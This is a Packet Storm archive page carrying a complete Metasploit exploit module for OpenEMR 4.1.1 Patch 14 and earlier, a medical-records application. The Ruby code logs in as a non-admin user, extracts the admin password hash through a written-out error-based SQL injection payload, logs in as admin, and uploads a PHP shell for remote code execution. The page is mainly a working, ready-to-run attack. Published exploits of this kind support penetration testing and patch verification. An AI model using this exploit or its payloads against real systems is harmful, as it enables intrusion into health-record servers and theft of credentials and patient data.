what you don't know can hurt you

OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution

OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
Posted Sep 20, 2013
Authored by xistence | Site metasploit.com

This Metasploit module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower. When logging in as any non-admin user it's possible to retrieve the admin SHA1 password hash from the database through SQL injection. The SQL injection vulnerability exists in the "new_comprehensive_save.php" page. This hash can be used to log in as the admin user. After logging in, the "manage_site_files.php" page will be used to upload arbitrary code.

tags | exploit, arbitrary, php, sql injection
SHA-256 | 153813f0acc368a45adcb43f7156aa643bd4c5305a6564c6562b51d3c58cec74

OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower.
When logging in as any non-admin user it's possible to retrieve the admin SHA1 password
hash from the database through SQL injection. The SQL injection vulnerability exists
in the "new_comprehensive_save.php" page. This hash can be used to log in as the admin
user. After logging in, the "manage_site_files.php" page will be used to upload arbitrary
code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
['EDB', '28329']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['OpenEMR', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 16 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']),
OptString.new('USER', [true, 'The non-admin user', '']),
OptString.new('PASS', [true, 'The non-admin password', ''])
], self.class)
end

def peer
return "#{rhost}:#{rport}"
end

def uri
return target_uri.path
end

def check
# Check version
print_status("#{peer} - Trying to detect installed version")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "interface", "login", "login.php")
})

if res and res.code == 200 and res.body =~ /v(\d+.\d+.\d+)/
version = $1
else
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version #{version} detected")

if version < "4.1.2"
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def login(base, name, pass)
#print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}", "interface", "main", "main_screen.php"),
'vars_get' => {
"auth" => "login",
"site" => "default"
},
'vars_post' => {
'authProvider' => 'Default',
'authUser' => "#{name}",
'authPass' => "#{pass}"
}
})

if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/
session = $1
print_status("#{rhost}:#{rport} - Login successful")
print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]")
return session
else
fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")
end
end

def exploit
# Password should be converted to a SHA1 hash
password = Rex::Text.sha1(datastore['PASS'])

# Login as non-admin
cookie = login(uri, datastore['USER'], password)

sqlq = rand_text_alpha(8)
# Generate random string and convert to hex
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join

# Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCD<hash>ABCD in the response page.
sqli = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) "
sqli << "FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '#{sqlq}'='#{sqlq}"

post_data = "form_pubpid=#{sqli}"
print_status("#{peer} - Retrieving admin password hash through SQLi")
res = send_request_cgi({
'method' => 'POST',
'data' => post_data,
'cookie' => "OpenEMR=#{cookie}",
'uri' => normalize_uri(uri, "interface", "new", "new_comprehensive_save.php")
})

if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/
adminhash = $1
print_status("#{peer} - Admin password hash is [ #{adminhash} ]")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving admin password failed!")
end

# Login as admin and retrieve cookie
cookie = login(uri, "admin", "#{adminhash}")

# Random filename
payload_name = rand_text_alpha(rand(10) + 5) + '.php'

post_data = Rex::MIME::Message.new
post_data.add_part("", nil, nil, "form-data; name=\"bn_save\"")
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"form_image\"; filename=\"#{payload_name}\"")
file = post_data.to_s
file.strip!

print_status("#{peer} - Uploading shell [ #{payload_name} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "interface", "super", "manage_site_files.php"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "OpenEMR=#{cookie}",
'data' => file
})

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200 or res.body !~ /#{payload_name}/
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
end

register_file_for_cleanup(payload_name)

print_status("#{peer} - Requesting shell [ #{uri}/sites/default/images/#{payload_name} ]")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "sites", "default", "images", "#{payload_name}")
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res and res.code != 200
print_error("#{peer} - Unexpected response, exploit probably failed!")
end

end

end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close